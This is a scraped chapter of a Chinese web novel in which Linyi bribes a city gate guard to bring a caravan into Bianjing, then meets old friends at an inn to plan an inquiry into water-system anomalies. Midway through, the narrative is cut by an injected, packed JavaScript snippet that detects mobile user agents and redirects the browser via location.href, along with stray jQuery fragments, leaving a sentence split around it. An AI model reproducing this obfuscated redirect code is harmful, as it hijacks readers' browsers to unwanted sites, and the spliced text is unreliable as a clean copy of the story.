默认冷灰
24号文字
方正启体

12. 老友见面

作者:药材铺老板本书字数:K更新时间:
    易朝汴京城宵禁十分宽松,月亮换掉了太阳的岗,新酸枣门这个时辰依然门洞大开。只是此时进城的人比早上已经少了许多,正是行贿的好时候。


    临扆一行人拉着骆驼,慢慢朝城门走去。


    因为行人较少,只有两个士兵在例行盘查,其余的兵士站在城门下,三三两两地围在一起闲聊,等着换班。


    “田四哥!”临扆离老远就冲着一个留着络腮胡子的士兵头子大声打着招呼。


    田四借着火光定睛一看,认出了临扆,“哟,是张老板回来了,可接到货了?”


    “今天这个点您还没下值呐,真是辛苦。”临扆走上前,熟稔地回应着田四,“劳您记挂,货已经接到了,这是过税,您给看看货,剩下的钱跟兄弟们买点酒喝,就当是我孝敬您的。”临扆说到后面,声音压得很低,卢轸站在后面的队伍里已经听不见了。


    “好说好说。”田四接过临扆递来的东西,举着个火把朝骆驼这边走来。


    田四走到驼架旁边,踩着杌子,打开一个木箱,探头看了看,“这便算看过了,放行!”


    临扆点头哈腰地对着田四笑着说:“多谢田四哥行方便了,闲了来吃酒啊,最好的千日春,管够!”


    临扆带头往城里走,后面的驼队也跟在后面开始移动。田四笑着目送临扆一行人进城。


    旁边的小兵略显担忧地对着田四说:“头儿,就这么放过去吗?后面还有好几个大箱没看呢,不会出什么问题吧。”


    田四笑而不语,掌心朝上松开,露出了刚才一直攥着的东西。


    小兵看清田四手中的东西,瞪大了眼睛说道:“这,这,这么多!他们是什么人啊。”


    田四一边掂着手里的银锭,一边说道:“前些日子,城里一大户人家的老祖宗说想要吃些稀奇的药膳,当家的孝顺,按着老人家说的菜谱子,试遍了汴京的酒楼。别的酒楼都做不出来那个味儿,只遇仙酒楼的孟厨子做得勉强入了那老人家的眼,却是仍有不足。


    他们使了银子和老人家身边的人搭上了话,这才知道老人家年轻时在北边呆过,那些个稀奇药膳约莫就是在北边时尝到的。听说味儿正的诀窍就是要用北边原地产的地道药材,别地产的药材虽说品质什么的更好一些,但是都不是那个味儿。


    他们去医馆买了来,重新做了几份送到了人家里去,当场就谈成了几年的大生意,以后那老人家的药膳都由遇仙楼供着。


    之前城里药材铺的存货都被他们包圆了,现在药材用完了,这才火急火燎地从北边拉来许多草木根子。那药膳费时费力,光是小火慢炖就要两个时辰。张老板午后出城时,还说要赶着明早的饭点给老人家送去呢。


    按着规矩,商人过城门,五十税一。这些北边来的枸杞什么的,不值什么钱,咱们五十抽二又能有多少,但咱们要是能给他们行个方便,让他们早早过去,这人情可就值老多喽。”


    田四指着临扆离开的方向,继续对小兵说:“刚才那人就是州桥遇仙楼的张老板,平时咱们去他那喝酒都会搭着送个菜啥的,你刚来,没见过他也正常。刚才的箱子我看了,里面装着的确实是药材,后面的箱子里也都散着药味,再说了,遇仙楼就在那里,出了什么问题,他们还能跑掉?”


    小兵像是想起了什么,兴奋地说:“哦,原来是这样,我听刘达说过,他们家的羊羔酒最是甘甜,要八十文一角呢。”


    “嘿嘿,你小子运气真好,刚来就碰上这好事。今日下值,咱们哥几个去打几角千日春尝尝,听说比羊羔酒还醇呢!哈哈哈。”田四笑着拍了拍小兵的头盔,说到最后高兴处,还高扬起了声音招呼着旁边几人。


    卢轸和临扆并排骑在马上,卢轸轻轻扯了一下左边的笼头,乌雅便朝左边靠了靠。


    临扆看着靠过来的卢轸,问道:“怎么了?”


    卢轸嘴角勾出笑意,调侃着说:“张文兄,刚才那副逢迎讨好的样子,小弟之前可是从未见过。”


    临扆无奈一笑,“情势所需,卢兄莫要取笑我了。”


    卢轸又靠近了些,压低声音说道:“咱们就这么进来了?连准备的路引都没用上,这钱未免也太好用了吧。”


    临扆解释说:“他们一日的劳资不过一百多文,我们编个故事,他们行个不大不小的方便,这二十两银子就到手了,他们没有不做的理由。”


    卢轸点了点头,看着前面的岔路,转头无声询问临扆接下来该怎么走。


    临扆向后挥挥手,队伍里的一个瘦高个汉子指挥着后面的驼队,抄近路朝遇仙楼走去,故事虽说是假的,但这孝子寻药膳的戏码还得继续演下去。


    临扆先行半步,招呼着卢轸和鹿乡跟上,“我们快些往汴河大街去,一会儿人多就不好走了。”


    汴京夜市直至三更尽,五更又复开张。雕梁画栋鳞次栉比,行人熙熙攘攘,还有闲汉穿梭其中送着客人提前订好的佳肴,瓦舍的招子旁边,耍杂技的角儿大声招揽看客,连货郎儿沿街叫卖的声音都被没掉了。


    卢轸在上京的时候就听说过汴京夜市的盛景,如今亲眼看见,也算人生的另一种际遇。大声地赞道:“‘夜市千灯照碧云,高楼红袖客纷纷’,古人诚不欺我。”


    临扆一边指着路过的护国寺,一边向卢轸介绍着:“汴京的夜市比扬州的规模还要大上许多,待到元宵灯会,这里只会更热闹。若卢兄那时还在汴京,可以上街一观。”


    内城不许纵马,三人紧赶慢赶,总算是到了南边的保康门。


    “久住赵员外家”明面上是江宁府一赵姓富户在汴京城开设的客栈,实则也是和遇仙楼下面那些个脚店一样的所在。


    快走到客栈时,临扆伸手挡下了和自己并肩走在前面的卢轸。卢轸还没明白过来,鹿乡便已会意走在了最前面。


    客栈里管事模样的人看到了鹿乡,忙放下算盘迎了出来,小声说道:“都按照吩咐开好房间了,左右各两间房已经安排咱们自己人住了进去,不会有人听到声音。”


    鹿乡点了点头,临扆和卢轸跟在鹿乡身后,三人把缰绳递给管事,一起进了客栈。


    三人上到二楼,从一众房间前经过。地字一号房似是在喝酒划拳,地字二号房像是夫妻二人起了争执,后面的房间也不是很安静。这是临扆吩咐鹿乡安排的,易朝不重宵禁,客人深夜投店也是常有的事情。汴京的客栈都是全天开张,既不能驱逐已经入住的客人,也不好关门休业,遇仙楼客人又太多,不比这里冷清,只得出此下策。


    鹿乡推开了地字三号房的房门,里面已经坐了一人。


    “菁纭姐!”卢轸已经刻意压低了声音,却依然可以听出其中掩饰不住的欣喜。


    两人是小时候的玩伴,感情甚笃,后来菁纭和临扆成了婚一起去了易朝,两位好友便再也没有见过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488261|202115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面。


    菁纭抓着卢轸的手臂,上下仔细看着,“真是长大了,和小时候比,像是换了个人一样。你的溢泪之症可有加重?”


    “还是老样子,姐姐给我找了好多太医看过,也不见变好。左右也死不了人,就是麻烦些罢了。菁纭姐,咱们现在差不多高了。”卢轸对自己的老毛病不是很在意,一边说着一边比划两人的身高。


    菁纭比卢轸大一些,小时候的个子自然也高一些,那时卢轸看着菁纭已经能骑快马了,自己却因为还没有马鞭长,被父亲管着不让骑马,当时的小卢轸很是在意自己的身高。


    菁纭忙拍了一下旁边的桌子,“呸呸呸,又乱说话,平日多用些热帕子敷敷眼,便是治不好,也能缓解一二。”


    卢轸有处不算严重的眼疾,不知道是不是体质原因,卢轸的眼睛比别人要更敏感些。风一过,脸上便有了两道水痕,风再大些,说是泪流满面都不为过。两人初次见面是在延寿元年的冬捺钵上,北风霸道,刀子一样得刮在人脸上,菁纭看着脸上泪痕结霜,却依然笑着打招呼的卢轸,颇有些茫然无措。


    “是——”卢轸拉长声音回应着菁纭。


    鹿乡站在门口戒备,卢轸三人围着圆桌坐下。菁纭准备的饭食已经摆到了桌上:胡饼、汤骨头、炙鸡、燠鸭、乳炊羊炖并上几盘绿油油的菜叶。


    “还没用过饭吧,我叫人备了些,都是你小时候爱吃的。”菁纭又把菜往卢轸这边移点,仍嫌不够,拿起筷子把各种荤菜都夹了点放在卢轸的碗里,“临扆跟说我大君要派你来时,我还道他是诓人的呢。当年我们走时,你才多大,如今都能自己来南边办差事了。”


    自己人坐在一起,便也不在乎什么器皿摆放,坐姿礼仪了,卢轸面前很快就堆起了一座肉山。


    卢轸也是有些饿了,十分不客气地夹起一大块羊肉,“不挑不挑,有羊肉就行。菁纭姐你不知道,刚才在街上看着那些吃的,我都想去买两个尝尝,好像还有个叫‘饮子’的,也不知道是什么喝的。”


    菁纭二人轻笑出声,看来大君家的姬小二还是和小时候一样啊。


    酒没过三巡,但菜过五味后,临扆向卢轸问道:“这次水系异动,大王预备从何处查起?”


    卢轸喝了口茶,清清嗓子,开始说自己的打算,“说起来有些棘手,目前唯一能确定的是问题就出在易朝这里。姐姐跟我说,我们在各地的酒楼管事会定期勘测附近州县的水源,所有数字都会记录在册。”


    菁纭接上卢轸的话继续说道:“各地的分管事确实要勘察水源。只是往日报上来的数未见有何异常。


    卢轸摇了摇头,“这次北边的几条大河也是这种情况,单从数上看没什么不妥之处,若不是有几处破绽,险些被糊弄过去。万一南边也有这种情况,下面的人没看出来怎么办?我要亲自一州一州查过才放心。往南去为易朝腹地,深入调查不易,就借着这次机会先查南边。范围不会太大,从北边水系变化的程度推测,那怪玩意最南也不会南过光州。”


    穷举虽慢,却也最稳妥,菁纭点头,“北地水少,水系乃我朔木立国之本,确实要谨慎些。”


    临扆看两人说定,继续问道:“大王预备何时出发,我叫下面人提前准备。”


    卢轸还没来得及回答临扆的问题,外面平地起惊雷的一声叫嚷,冲破了左右四间房的声音防线,惊到了屋子里的四个人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)